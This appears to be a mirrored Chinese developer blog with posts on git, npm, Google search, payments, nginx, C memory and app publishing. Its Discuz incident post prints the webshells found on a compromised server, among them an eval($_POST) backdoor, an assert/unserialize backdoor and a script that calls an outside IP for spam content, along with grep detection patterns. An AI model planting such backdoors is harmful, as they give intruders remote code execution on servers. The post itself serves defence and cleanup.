Coder Social home page Coder Social logo

blog's People

Contributors

diamont1001 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

blog's Issues

拉取github仓库报错“gnutls_handshake() failed”问题

在拉取 GitHub 仓库代码的时候卡住一会并出现错误:

fatal: unable to access 'https://github.com/xxx/xxx.git/': gnutls_handshake() failed: The TLS connection was non-properly terminated.

解决办法

取消代理(经测试,需要每次都要运行以下代码,并不能一劳永逸)

git config --global --unset http.https://github.com.proxy
git config --global --unset https.https://github.com.proxy

然后再进行 git pull 等操作。

函数节流与防抖

节流

举个例子,我们玩过王者荣耀的都知道,很多英雄的技能基本上都有一个冷却时间(简称CD),在CD时间内,技能只能放一次,放完之后,用户再去点击技能是无效的。

回到前端开发,比如页面上的一个获取验证码的按钮,一般来说都会有 60秒的限制,也就是说,60秒内用户只能点击获取验证码一次,然后就变灰了,60秒后才可以再次获取;

这就是节流。

当然,还有很多场景是要用到节流的,比如:

  • 滚动加载、加载更多的按钮、滚动到底部的监听
  • 搜索框的搜索联想功能
  • 表单提交

防抖

举个例子,商场的自动门,当有人通过的时候自动门会自动打开,并会保持一小段时间(比如15秒),如果这15秒之内再没人通过,那么门会自动关上;但是如果在这15秒之内不断有人通过,那么门会一直开着,每次人通过后都会继续等待15秒;然后在最后一个人通过15秒之后,才会自动关门。

对于自动门来说,这15秒的时间就是用来防抖的,防止自动门进行没必要的关闭操作。

同样的,在前端开发过程中,我们也经常遇到类似的情况,比如 resize、input、scroll 等这些触发次数比较频繁的事件,如果不采取防抖措施的话,这些高频的事件会频繁的响应,不但浪费资源,还会大大影响页面的性能。

这个时候,就需要对这些事件的响应函数做防抖了。

怎么做?具体思路:

触发高频事件后,他的响应函数不是马上执行,而是在延时 n 秒之后才会执行一次,如果 n 秒内事件再次被触发,则重新计算时间。

这就是函数防抖的实现方法。

而具体的实现代码,可以百度或者google一下,很容易搜到的。

防抖与节流结合

当然,防抖还有个问题,就在于它太有“耐心”了。试想一下,如果用户的操作十分频繁而持续,持续的延迟会导致用户迟迟得不到响应,这就导致了‘页面卡死’的假象。

为了解决这个问题,我们可以借鉴节流的**,打造一个‘有底线’的防抖。

具体怎么做呢?

在规定时间内,我可以为你重新生成定时器并去等待;但是我总不能一直等下去,我可是有时间底线的,只要总的等待时间一到,我必须要给用户一个响应。

这就是‘防抖与节流结合’的思路,这个思路目前已经被很多成熟的前端库应用到了,具体也可以去了解一下。

总结

  • 节流:为了限制用户想连续触发的意图,比如英雄技能的CD
  • 防抖:为了节约高频函数的执行次数

Google 搜索 - 你所不知道的隐藏技能

作为一名有逼格的程序猿,Google 可以说是标配,每天不上它几次都不好意思下班。

Google 搜索引擎页面非常简单,只有一个输入框和两个按钮(起码看起来是),然而,外表单纯的它,其实隐藏了好多高级技能,要用好它还是需要花点时间去学习的。

下面,让我们来由浅至深的慢慢把它的隐藏技能给刷出来吧!

基本搜索

1. 空格

空格,在搜索引擎来看就是一个分隔符,它会把输入的搜索词以 “空格” 来切分,分成多个搜索词。比如你输入的是 the best programming language ,那么 Google 返回的文章里既有 “programming”,也有 “language” 存在,还有 “best”,但不一定有 “the best programming language” 存在。

另外,机智的 Google 还会把一些没有实际意义的词汇给忽略掉,比如:

  • 冠词“a”、“the“
  • 介词“of”、“in”、“on”、“at”、“to”
  • 连词“and”、“or”、“but”
  • 从属连词“that”、“which”、“when”
  • 代词“my”、“his”、“them”

上面的例子 the best programming language 中的 the 就会忽略了。

2. 引号 ""

那么,如果就是想要查找含有 ”the best programming language“ 的文章怎么办?
这时候,引号就可以派上用场了。
可以自己在 Google 里试下 "the best programming language"(包含双引号,半角或者全角都一样),对比下你会发现它会返回 ”完整匹配“ 的结果,这就是绰号(”……“)的作用。

3. 加/减号 + / -

在某个关键词前添加加号 +,表示必需包含该关键词的搜索结果。
比如,panda +wikipedia,搜索结果中必需出现 “wikipedia”。

跟加号一样,在某个关键词前添加减号 -,表示排除所有包含该关键词的搜索结果。
比如,panda -wikipedia,搜索结果中不会出现 “wikipedia”

4. 星号 *

这个大家应该都知道,Google 也是支持通配符的。
比如,"the best * of the world",返回的是包含类似 "the best food of the world" , "the best people of the world" , "the best in four major regions of the world" ...

5. 选择性关键词搜索 OR

OR(必须大写),可以匹配多个搜索关键词中的任意一个。
比如,Olympic 2016 OR 2018,能搜索出 ”Olympic 2016“ 或者 ”Olympic 2018“ 的结果。

6. 搜索数字范围 ..

两个半角句号 ..,左右两个数字,可搜索 ”日期“、”价格“ 和 ”尺寸“ 等指定数字范围的搜索结果。
比如,iphone 2500..3000,可搜索价格范围 ”2500 到 3000” 的 iPhone。

仅使用一个数字和两个句号即可表示 “上限” 或 “下限”

  • macbook ..8000 表示搜索 “8000元以内的 macbook”
  • macbook 6000.. 表示搜索 “6000元以上的 macbook”

高级搜索:操作符

1. 站内搜索 site:

有时候我们只想搜索指定一个网站的内容,我们可以使用 site: 语法。
比如,搜索 javascript site:http://wikipedia.org ,给出来的结果都是 http://wikipedia.org 这个网站的。
嫌麻烦,每次都需要打 site:http://xxx 很麻烦?自己建立一个专属的搜索引擎吧 Google cse(Custom Search Engine)

2. 相关搜索 related:, cache:, info:

related 用来搜索结构内容方面相似的网页。
比如,搜索所有与中文新浪网主页相似的页面(如网易首页,搜狐首页,中华网首页等),“related:www.sina.com.cn/index.shtml”

cache 用来搜索GOOGLE服务器上某页面的缓存,这个功能同“网页快照”,通常用于查找某些已经被删除的死链接网页,相当于使用普通搜索结果页面中的“网页快照”功能。

info 用来显示与某链接相关的一系列搜索,提供cache、link、related和完全包含该链接的网页的功能。
比如, info:wap.pp.cn,会搜索出来有关 "wap.pp.cn" 的网页信息。

info wap pp cn

像上面提到的 site:related: ,其实是 Google 搜索提供的操作符,用法就是 “操作符”:“变量”。

操作符 用途 用法
allinanchor: 限制搜索的关键词是网页中链接内包含的关键词(可使用多个关键词) allinanchor:keyword1 keyword2
allintext: 限制搜索的关键词是网页内文包含的关键词(可使用多个关键词) allintext:keyword1 keyword2
allintitle: 限制搜索的关键词是网页标题中包含的关键词(可使用多个关键词) allintitle:keyword1 keyword2
allinurl: 限制搜索的关键词是网页网址中包含的关键词(可使用多个关键词) inurl:keyword1 keyword2
inanchor: 限制搜索的关键词是网页中链接内包含的关键词 inanchor:keyword
intext: 限制搜索的关键词是网页内文包含的关键词 intext:keyword
intitle: 限制搜索的关键词是网页标题中包含的关键词 intitle:keyword
inurl: 限制搜索的网页的地址 inurl:keyword
site: 限制所进行的搜索在指定的域名或网站内 site:domain
filetype: 限制所搜索的文件一个特定的格式 filetype:extension

多媒体搜索

当然,Google 这么高逼格的搜索引擎,是不会满足于基本的文字搜索的,什么 ”语音搜索“、”图片搜索“……这些有兴趣的自己去探索吧,看看就会的了(除非你不是一个有逼格的程序猿)。

相关链接

北美信用卡支付平台Moneris接入

北美信用卡支付平台Moneris接入

Moneris 是北美最大的信用卡支付平台之一,它的优势是安全和费用低,T+1的回款速度。

但是,跟他们打过交道的人都知道,他们的文档写的可真是够乱的,接入方式也有好多种,而且,没有一个集中的文档简单介绍这些。

经过多次的接触和了解之后,总结出来了一些经验,凭记忆大概记录一下。

接入方式

  • Hosted Paypage:适合网站
  • Checkout Page:适合网站
  • API:适合APP、小程序等

1. Hosted Paypage 接入方式

这种接入方式最简单,付款之前只需要请求一个接口获取 Token 参数后,直接跳转到 Moneris 的页面去进行付款,用户整个付款操作都是在 Moneris 的付款页面进行的,包括用户信用卡等信用的录入和验证等;付款完成或者失败后,会有通知回调,这个回调链接可以在 Moneris 后台配置。

image

image

这个接入方式有个好处就是接入方便,而且可以配置 AVS只需要用户填 postcode,而不需要填详细地址。

image

image

但是根据他们内部人员透露,这种接入方式已经不再更新,一些新的功能(比如 3D Secure等)就不能用了。

2. Checkout Page 接入方式

目前这种方式是官方推荐的网页接入方式。但这种方式比 Hosted Paypage 稍难一点点,因为付款页面需要自己实现,在页面里嵌入他们的 JS SDK,然后他们会在我们的页面上通过 iframe 的方式打开用户资料输入的窗口进行付款操作。

image

由于使用了 iframe,在小程序的接入上面还是走不通,所以只适合正常网站的接入。因为微信小程序对 iframe 的域名也要先添加到“业务域名”才可以。

这种方式有个不好的,就是 AVS 的方式不能只让用户输入 postcode,官方的说法是用户要全部 address 信息都要填写。

文档链接:

3. API 接入方式

这种方式适合 APP 或者小程序的接入,因为所有操作都是后台跟Moneris 的交互,咱的APP跟自己服务端交互,所以需要后端开发人员去实现这个接入的过程。

但有个问题是,官方提供的 API 只有三种语言的版本:JAVA, PHP, .NET。如果想要使用其他语言实现的话,还需要自己去实现接入库,可以参考:

相关文档整理如下:

链接

npm包发布与管理

自己写的模块想要发布到 npm,其实很简单,一句 npm publish 就搞定了,但是后续的版本管理会比较讲究,这里系统的记录一下通过 npm 管理包的一系列问题,方便以后查阅。

下面以模块名 demo 为例

新发布模块

写好一个模块,一切都就绪后,可以考虑发布到 npm 上了,可以通过以下步骤完成一个模块的新发布:

# 1. 初始化包的描述文件(其实是生成  package.json,如果已有这个文件,可跳过该步骤)
$ npm init --save

# 2. 验证账号
$ npm adduser

3. 发布
$ npm publish

以上,即可完成一个新包的发布了。

管理包权限

很多时候,一个模块往往不只是你一个人在管理的,这时需要给其他一起维护的同学开通发布的权限,如下:

# 查看模块 owner
$ npm owner ls demo

# 添加一个发布者
$ npm owner add [email protected] demo

# 删除一个发布者
$ npm owner rm [email protected] demo

更新版本

当模块有更新的时候,需要发布一个新版本,当所有需要更新的文件都 commit 完了后,就可以更新到 npm 了。

1. 发布一个新的稳定版本

# 更新版本号(major | minor | patch | premajor | preminor | prepatch | prerelease)
# 大版本并且不向下兼容时,使用 major
# 有新功能且向下兼容时,使用 major
# 修复一些问题、优化等,使用 patch
# 下面比如更新一个 patch 小版本号
$ npm version patch
$ npm publish

2. 预发布版本

很多时候一些新改动,并不能直接发布到稳定版本上(稳定版本的意思就是使用 npm install demo 即可下载的最新版本),这时可以发布一个 “预发布版本“,不会影响到稳定版本。

# 发布一个 prelease 版本,tag=beta
$ npm version prerelease
$ npm publish --tag beta

比如原来的版本号是 1.0.1,那么以上发布后的版本是 1.0.1-0,用户可以通过 npm install demo@beta 或者 npm install [email protected] 来安装。

3. 当 prerelease 版本稳定之后,可以把它设置为稳定版本

# 首先可以查看当前所有的最新版本,包括 prerelease 与稳定版本
$ npm dist-tag ls

# 设置 1.0.1-1 版本为稳定版本
$ npm dist-tag add [email protected] latest

# 或者通过 tag 来设置
$ npm dist-tag add demo@beta latest

当发现 BUG,也可以通过 npm dist-tag 命令回退。

这时候,latest 稳定版本已经是 1.0.1-1 了,用户可以直接通过 npm install demo 即可安装该版本。

查看模块的版本信息

最后,可以通过 npm info 来查看模块的详细信息。

$ npm info

discuz 论坛被攻击以及应对方案记录

discuz 是一个开源的 php 论坛框架,开源可以免费使用,但只要是开源的就很容易被人研究并找到漏洞,这也是一个没法避免的问题,有得必有失,使用了就要做好跟黑客斗智斗勇的准备。

一般来说,文件(图片)上传这一块是比较容易中招的,因为上传的文件是放到服务器上的,虽然框架做了安全规避,但是只要是程序就会有漏洞,所以条件允许的话,个人还是非常建议把文件上传这一块迁移到第三方的网络存储服务器,比如 “阿里云” 的 OSS。

关于Linux文件锁定保护命令 chattr

在介绍以下攻击临时解决方法之前,有必要先介绍下 chattr 这个命令以及使用。

具体可以自行百度,这里要用到的是 -i 参数,也就是:

设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。

  • 锁定文件:chattr +i 文件名
  • 解除锁定:chattr -i 文件名
  • 属性查看:lsattr 文件名

扫描PHP木马文件

可以通过以下命令扫描后台木马文件:

# /data/wwwroot/bbs/ 路径改为你 discuz 根目录
grep -r "php eval(" /data/wwwroot/bbs/
grep -r "eval(\$_POST" /data/wwwroot/bbs/

一般会扫描出来用户上传的一些修改过的 gif 文件,比如:

image

随便找一个打开看看 vi xxx.gif

image

gif 文件是被修改过的,很明显在文件尾部被添加了 php 代码,这就是病毒代码。

OK,只要确保以上文件都不是 discuz 官方的文件,也就是用户上传的文件,就把文件都删了就可以了。

PS: 今天把扫出来的 gif 文件备份下来一看吓我一跳,就是 “熊猫烧香” 的头像!!!

image

采坑记录

下面记录下之前遇到过的几个被攻击的例子,我对这一块不是很专业,所以并没有从根本上去追踪漏洞的根源,只是从现像表面去做临时解决方案。

一、SEO 攻击

之前有段时间发现网站访问有点异常,经排查发现,由搜索引擎的 useragent 访问网站比正常访问时多出了大量的外链。

php 程序一般遇到这些问题,首先要做的是去网站根目录查看是否多了一些新的文件:

ls -latr

发现网站根目录确实多了一个 .user.ini 的文件,而且文件日期就是最新创建的,也是网站出现问题的差不多时间,于是可以肯定是这文件搞的鬼。

关于 .user.ini 的定义可以百度一下,简单的说,.user.ini 就是一个可以由用户“自定义”的动态加载的 php.ini

查看 .user.ini 文件内容,发现里面指定了网站的访问前置 php,由于之前没有备份,具体内容忘记了。

然后把文件删掉,以为可以放心了,谁知第二天早上又出现问题了,看了下 .user.ini 文件又又又自动出现了,追踪了很久,由于对 discuz 和 php 都不太熟悉,最近还是没发现问题的根源出现在哪里,只能曲线救国了:

既然删不掉,那就保留着吧,但你也别想重新生成:

  1. .user.ini 文件内容清空
  2. 使用 chattr 命令把文件锁死:chattr +i .user.ini

通过以上操作以后,这个问题算是解决了。

二、整个网站变乱码了

最近又遇到一个问题,整个网站变乱码了,吓的我连早餐都没来的急吃,上去服务器看了一通没看出什么道道来,然后突然想到计算机科学里的一个伟大的万能解决方案: 重启系统

当然,在 “重启系统” 之前,我先用了万能解决方案第二条:“清缓存” 😂。清完后还真的侥幸解决了。但是好景不长而且仿佛一切都在预料当中,过了几天同样的问题又在公司群里响起了😭😭😭😭

好吧,没办法,再次清了缓存之后,又去排查 “新文件” 了,果然,在网站根目录又发现了三个新文件:

  • news.php
  • newfile.php
  • vote.php

文件具体内容如下:

news.php

<?php @eval($_POST[abc])?>

很明显,news.php 这是一个典型的后门程序,只要使用post访问时在name为abc的值中写入任何字符串,都可以当做php代码来执行,这个时候就有点可怕了,比如写入一段循环删除整站代码等等。

newfile.php

<?php
class A{
    var $test = "demo";
    function __destruct(){
        assert($this->test);
    }
}
$pw=strrev('doog');
$test = $_POST[$pw];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
$test_unser = unserialize($pp);

?>

vote.php

<?php
set_time_limit(0);
header("Content-Type: text/html;charset=gb2312");
$Rcaonidaye_vvcbbiB = "http://69.176.95.99/";
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$Content_mb=getHTTPPage($Rcaonidaye_vvcbbiB."/index.php?host=".$host_name);

function getHTTPPage($url) {
        $opts = array(
          'http'=>array(
                'method'=>"GET",
                'header'=>"User-Agent: aQ0O010O"
          )
        );
        $context = stream_context_create($opts);
        $html = @file_get_contents($url, false, $context);
        if (empty($html)) {
                exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>");
        }
        return $html;
}

echo $Content_mb;
?>

“万能” 解决方法:chattr 命令。

这次是 php 代码,我想把证据都保留下来,于是在以上每个文件前添加了一个 404 以及 return,切断文件内容:

  1. 文件首选加入代码:
header('HTTP/1.1 404 Not Found');return;

// 原文件内容
// ...

比如,news.php 文件就变成了:

<?php
header('HTTP/1.1 404 Not Found');return;
@eval($_POST[abc])?>
  1. chattr 命令锁死
chattr +i news.php
chattr +i newfile.php
chattr +i vote.php

部分手机无法访问https网站解决办法

今天一个网站出现访问问题,在PC上访问没问题,但是某些朋友的手机上访问会出现网络问题,如下:

查了半天,最后定位到 nginx 配置里的 ssl_prefer_server_ciphers on

  • ssl_prefer_server_ciphers on|off 作用:是否由服务器决定采用哪种加密算法

如果ssl协议支持tlsv1 tls1.1这种老协议,设置为 on ,并配合ssl_ciphers使用;
如果ssl协议只支持tlsv1.2 tlsv1.3新协议,设置为 off (nginx默认为off),因为新协议不再采纳此参数。

解决:

ssl_prefer_server_ciphers 配置为 off 即可。

[php网站提示错误]Warning: Call-time pass-by-reference has been deprecated

最近公司网站突然访问不了,直接就显示 Warning: Call-time pass-by-reference has been deprecated 错误信息了,网上查了下,原来是 php 版本和语法兼容性的问题,解决办法总结如下:

  1. 第一种方法、 把 php.inidisplay_errors = On 改成 display_errors = Off (不显示错误)
  2. 第二种方法、allow_call_time_pass_reference = Off 变成 allow_call_time_pass_reference = On(php 5.5以上不支持了好像)

找不到 php.ini 的话,通过以下方法可以找到:

find / -name 'php.ini'

改完记得重启 PHP 确保修改成功,或者在网站根目录新建一个 test.php,内容如下:

<?php
    phpinfo();
?>

然后通过浏览器访问 /test.php 这个网页去查看相关 PHP 配置。

注意,搞定后记得删掉 test.php,不然会被用户看到你服务器信息!

以上可以解决大部分问题,但是发现某两个页面还是没解决,找了好久,还是没办法,最后通过折半查找法找出有问题的文件:

在有问题的页面对应的 php 文件中间添加以下测试代码,不段去寻找错误的代码(文件):

echo 'test';return;

最后找到一个插件文件(lib_xxx.php)里面全是加密的信息,其实就是使用了【php威盾】加密,不慌,网上有直接解密的:

通过这个网站 https://www.toolnb.com/tools/phpcarbylamine.html 可以把 lib_xxx.php 文件内容直接解密出来,然后把解密后的源码更新到 lib_xxx.php 就可以了。

discuz 3.4 采坑记录

discuz 作为一个开源的论坛框架,是真的很好用,但是因为是开源,所以还是会有很多漏洞不断的被发现,下面记录一下,正常安装完 discuz 后,可能会遇到的一些问题。

目前使用的 discuz 版本为 3.4

问题全收录

问题 解决办法 备注
莫名出现匿名帖子或回复(明明设置了不能匿名) https://www.pigji.com/397.html
网站链接静态化 https://blog.csdn.net/weixin_45256858/article/details/106409136
邮件发不出去 http://www.jingcity.com/bbs/thread-475342-1-1.html
去除版权信息,标题栏与底部修改 https://blog.csdn.net/yongh701/article/details/46341337
游客看不到帖子图片或附件 https://jingyan.baidu.com/article/eb9f7b6d73ad82869364e88b.html

遇到的其他问题

帖子外链添加 rel="nofollow"

解决方法:https://baiyunju.cc/341

其中 nofollow 函数如下:

function nofollow($url = '') {
    $temp = array();

    if(!empty($url)) {
        $temp = parse_url($url);

        if(isset($temp['host']) && $temp['host'] != $_SERVER['HTTP_HOST']) {
            $url .= '" rel="nofollow';
        }
    }

    unset($temp);
    return $url;
}

手机版帖内图片太小(默认为224宽)

手机端论坛内容页里的页内图片默认是显示 224 宽的,一般情况下感觉有点小,那么该怎么调整它的大小呢?

解决办法:

  • 编辑以下文件 ./source/class/discuz/discuz_application.php
  • 搜索 224 把这个改改就可以

其实还有一个更好的办法,我一般喜欢手机端上的图片可以满屏宽的,所以,可以直接去掉宽度限定,改为 max-width 即可:

  • 编辑以下文件:./source/function/function_discuzcode.php
  • 找出函数 parseimg,并修改以下内容
$img = '<img'.($width > 0 ? ' width="'.$width.'"' : '').($height > 0 ? ' height="'.$height.'"' : '').' src="{url}" border="0" alt="" />';

修改为:

$img = '<img style="max-width: 97%;" src="{url}" border="0" alt="" />';

未验证会员查看不到帖子

discuz 默认权限是未验证会员登录后是查看不到帖子内容的,但是游客(未登录)反而可以查看,这个很不科学。

解决:可以在用户组里把权限设置一下,【用户】-【用户组】-【系统用户组】-找到【等待验证会员】-【编辑】-把‘阅读权限’设置为 1

另外,还需要设置一下帖子附件(图片)的查看权限,权限管理页面顶部找到【论坛相关】下拉选择【附件相关】,把【允许查看图片】勾上即可。

内存分配方式与变量的生存周期

先附上我之前写的CSDN的地址(2011-01-07): http://blog.csdn.net/diamont1001/article/details/6123184

先上一段测试程序(C语言的):

char *aa() {  
    char *p = malloc(10);    //动态分配,"hello"存于"堆"(heap)  
    p[0] = 'h';  
    p[1] = 'e';  
    p[2] = 'l';  
    p[3] = 'l';  
    p[4] = 'o';  
    p[5] = '\0';  
    printf("sub aa pointer: %p\n", p);  
    printf("sub aa content: %s\n", p);  
    return p;  
}  

char *bb() {  
    char p[] = "hello";    //自动分配,"hello"存于栈(stack)  
    printf("sub bb pointer: %p\n", p);  
    printf("sub bb content: %s\n", p);  
    return p;   //warning,bb()函数完后,p所指区域被释放  
}  

char *cc() {  
    char *p = "hello";   //"hello"存于常量区(static)  
    printf("sub cc pointer: %p\n", p);  
    printf("sub cc content: %s\n", p);  
    return p;  
}  

int main()  
{  
    char *raa = aa();  
    printf("main aa pointer: %p\n", raa);  
    printf("main aa content: %s\n\n", raa);  

    char *rbb = bb();  
    printf("main bb pointer: %p\n", rbb);  
    printf("main bb content: %s\n\n", rbb);  

    char *rcc = cc();  
    printf("main cc pointer: %p\n", rcc);  
    printf("main cc content: %s\n\n", rcc);  
    free(rbb);  
    return 0;  
}

程序解析:

  1. aa()中,虽然p是局部变量,存储在栈中,但它指向的是堆内存,函数跳出后堆内存不会自动被释放,所以main()函数中可以接收的到。
  2. bb()中,p是一个数组,一个局部变量,属于自动分配。函数在跳出后,返回的是p的内容(数组的地址),但数组本身已经被释放了,所以在主函数中接收不到p数组的内容。
  3. cc()中,虽然p是局部变量,存储在栈中,但它指向的“hello”是常量,属于静态分配,存储在静态存储区,函数跳出时常量也不会被释放,释放的只是p变量,它存的只是“hello”的地址,但它已经返回给main()函数接收了,它释放了没关系,所以main()函数同样可以接收“hello”。

内存分配方式有三种:静态分配、动态分配、自动分配。

  1. 静态分配:编译时完成的;保存在静态存储区,程序结束时才被释放,例如全局变量,static变量,代码,常量等(代码、常量可以单独归类)。
  2. 动态分配:程序在运行的时候用malloc或new申请的任意多少的内存,程序员自己负责在何时用free或delete释放内存;保存在堆里(不是数据结构的堆)。
  3. 自动分配:函数执行时由系统自动创建,函数结束时自动被释放;保存在栈里,例如函数的局部变量。栈内存分配运算内置于处理器的指令集中,效率很高,但是分配的内存容量有限。

堆的解释:

系统把连续空闲的堆内存看成一个个的块,再用指针链表把所有的块串起来,需要分配时遍历链表,找出一个足够大小的块进行分配,剩下的把它放到链表中;用完释放时,系统再把它放回链表中。

PS:有趣的比喻:

可以把堆内存看成一个沙堆(我忘了在哪本书上看到的了),需要时,用铲子在沙堆里铲出一些沙,用完时,在把它放回到沙堆里,所以,两次取沙子不太可能会取到同样的。

一个APP从零开始到发布上线的全过程,关键节点全记录

要搞一个APP,从零开始到发布上线的整个过程,其实除了开发,后面还有一大堆的东西需要解决的,比如软著、域名、备案等很多人听都没听过的东西,这里简单记录一下大概的过程。

软著

软著,很重要! 其实就是你的软件著作权,保障你自己的权益用的。随着渠道方对于著作权的重视提升,现在越来越多的渠道要求开发者在提交app时提供软件著作权登记证书。

当然,目前还有一些安卓应用市场不用软著也可以上线(比如百度、小米),但为保障开发者权益和维护应用正版权益,避免后续被抄袭的烦恼,还是建议要去申请一个比较稳妥。

Appstore 是不要求软著的,但为了保障起见,还是可以申请一个。但是安卓和 iOS 是要分开申请的,哪怕是同一个应用,这就意味着要给两份钱了。

可以在【易版权-无忧宝】上申请,材料都是他们帮忙填的,自己只需要填写一份简单的信息表就可以。

因为申请需要时间,最长的是 36 个工作日,最短的可以在 1 个工作日,可以通过花多点钱来缩短这个申请时间,所以建议在立项之后就开始去申请,可以节省不少钱。

看下下面的几个时间节点的价钱对比就知道了:

image
image
image

代码

代码仓库目前可以选择的挺多了,而且 GitHub 也开通了免费私有仓库!

  • gitlab:好处是,group 都可以建立私有的,多人协作很方便
  • github:可以建立私有仓库,但是不能建立私有 group

服务器

服务器使用 阿里云 的,这没什么异议,大厂出品,稳定安全,文档清晰,基础配套完善,几乎所有能用到的基础服务都有提供(比如 OSS、CDN、数据库、Redis缓存、日志分析等)。而且价格也不算贵,一个小 App 前期服务器压力不大的情况下,整套服务器搞下来,首年也就 2000RMB 以内可以全部搞定了。

域名

对于一个产品来说,域名可是必须品,无论是产品官网、宣传页面还是接口服务器,都需要有个域名来承载。价钱的话其实不贵,一般的 .com 域名也就是 ¥58 / 年。

域名申请

域名申请毫无疑问使用阿里云的 万网,跟阿里云服务器统一管理,关键还送 HTTPS 证书,省去了很多麻烦事,要知道,现在 Appstore 对 HTTPS 是有硬性要求的。

域名备案

在国内,域名申请后还需要进行备案才可以正常解析和使用的,还是一样,在阿里云管理后台可以一站式搞定,而且备案是免费的。

  • 个人域名备案:有限制,几乎只能做个人博客之类的网站
  • 企业域名备案:没什么限制,有公司的话肯定要以企业来申请

很多人创业初期是还没有注册公司的,都是以个人名义在做,其实也可以,以个人名义先申请域名备案,网站以个人博客来申请,ICP 备案号下来后,就可以正常使用了,只要不是做些违法的事,一般也不会被查封。等以后自己公司注册下来了,再把域名转到公司名下,再重新备案即可。

一个人名下只能有一个备案号,一个备案号可以有多个域名。也就是说你可以申请备案多个域名,而且可以随时申请变更(增删改等)。

这里要注意的是,如果以个人名义备案域名的话,后续要增加域名的时候就比较麻烦了,因为申请增加域名的时候,审核人员是会对你名下所有的域名进行审查的,之前已备案的域名必须可访问,而且要跟之前的备案信息一致。意思就是,如果你之前已有的域名申请的是个人博客类,但是实际用到了你的产品官网了,这样在你以后要增加域名备案的时候就会有被查封的可能了。

iOS

Apple 开发者账号

要在 Appstore 发布应用,必须要用苹果开发者账号,而且要钱的,一般来说就是 ¥688/年,高级企业账号贵一点。

https://developer.apple.com 上这个网站去申请一个,然后到最后购买、付款完成后,等个一两天就会收到邮件通知了。

很多人会在付款这里遇到问题,这里简单说一下:

1)只能使用 Master 或者 Visa 的信用卡支付,注意,只能是信用卡
2)可以使用其他人的信用卡支付,自己没有 Master/Visa 的话,就借用其他人的吧
3)支付时,账单地址填的是你苹果开发者账号申请时的地址,也不用完全对的上

具体操作细节可以自行百度或者 Google。

Apple 证书

App Store 提交审核

App Store 的审核其实还是不难的,只要你的 APP 没什么违规的事情,一般一两天就批下来了。但是有一些小事情需要注意的:

1. 用户权限

用户权限无论你有没有使用到,建议都在 info.plist 上补充一下,如:

        <key>NSAppleMusicUsageDescription</key>
	<string>xxxx需要您的同意,才能访问媒体资料库</string>
        <key>NSBluetoothAlwaysUsageDescription</key>
	<string>游趣浆糊需要您的同意,才能访问蓝牙</string>
	<key>NSBluetoothPeripheralUsageDescription</key>
	<string>xxxx需要您的同意,才能访问蓝牙</string>
	<key>NSCalendarsUsageDescription</key>
	<string>xxxx需要您的同意,才能访问日历</string>
	<key>NSCameraUsageDescription</key>
	<string>xxxx需要您的同意,才能访问拍照功能</string>
	<key>NSLocationAlwaysUsageDescription</key>
	<string>xxxx需要您的同意,才能始终访问位置</string>
	<key>NSLocationWhenInUseUsageDescription</key>
	<string>xxxx需要您的同意,才能在使用期间访问位置</string>
	<key>NSMicrophoneUsageDescription</key>
	<string>xxxx需要您的同意,才能访问麦克风</string>
	<key>NSMotionUsageDescription</key>
	<string>xxxx需要您的同意,才能访问运动与健身</string>
	<key>NSPhotoLibraryAddUsageDescription</key>
	<string>保存图片到相册</string>
	<key>NSPhotoLibraryUsageDescription</key>
	<string>xxxx需要您的同意,才能访问相册</string>
	<key>NSSpeechRecognitionUsageDescription</key>
	<string>xxxx需要您的同意,才能进行语音识别</string>

版本测试

记得安装一个 TestFlight,很多同学会忽略了这一个神器。

AppStore 官方提供的 TestFlight 非常好用,上传上去的版本可以很方便的直接安装到手机上进行测试,不家数据反馈和统计,也可以邀请外部人员进行测试。

安卓

签名

Android 要求所有应用都有一个数字签名才会被允许安装在用户手机上,所以在把应用发布到应用市场之前,你需要先生成一个签名的 APK 包。

签名信息中包含有开发者信息,在一定程度上可以防止应用被伪造。例如网易云加密对Android APK加壳保护中使用的“校验签名(防二次打包)”功能就是利用了这一点。

至于怎么签名和打包 APK,请自行百度或Google,网上攻略一大堆。

图标

图标大小

应用图标会应用在很多地方,比如应用打包、应用商店、开放平台等,个人建议图标按以下的大小导出一份备用:

  • 18 * 18
  • 28 * 28
  • 40 * 40
  • 48 * 48
  • 58 * 58
  • 60 * 60
  • 72 * 72
  • 80 * 80
  • 87 * 87
  • 96 * 96
  • 108 * 108
  • 120 * 120
  • 128 * 128
  • 144 * 144
  • 180 * 180
  • 256 * 256
  • 512 * 512
  • 1024 * 1024

有些网站可以一键生成所有尺寸的 ICON,网上搜下就有。
比如:https://icon.wuruihong.com/

iOS 图标透明度的问题

iOS AppIcon 图标不能包含了透明度的,如果你的图标是 png,请把 alpha 透明度去掉,不然会报错的。

可以这样简单操作:

  1. 用系统自带的"预览"软件打开图标;
  2. 菜单栏 文件 -> 导出;
  3. 将alpha的选项的勾去掉;

image

AppStore 屏幕截图

有个可以在线制作宣传图的网站(基本上想要好看的都要钱的):

Mac系统下有个免费可用软件(推荐):

  • App Screenshot Creator

AppStore 应用描述那里会要求针对不同机型上传几张屏幕截图,当然也可以自己设计一些好看的图片上传上去,但是图片大小有严格规定,具体可以参考:https://help.apple.com/app-store-connect/#/devd274dd925

image
image
image

用户协议、隐私政策

现在的 APP,几乎都需要有用户隐私协议,特别是有 UGC 的应用,在用户注册页面可以加上用户隐私协议。

如果是企业的话,找法务同学给出个正规的;如果是个人开发者的话,可以网上找其他同类型的应用,Copy 一份改改名字就行,因为很多应用都是用网页形式展现的,抓个包很容易能拿到链接。

微信小程序开发-账号与上线审核流程

最近在研究微信小程序,在刚接触的时候遇到了很多坑,就在最基础的账号申请方面都栽了很多跟头,一开始没搞懂小程序与公众号订阅号之间的关系,搞了很久才搞清楚了,这里整理一下。

账号关系

微信公众平台账号有两种:

  • 公众号|服务号|订阅号:一个账号(邮箱)对应一个公众号,一个公众号可以关联多个小程序
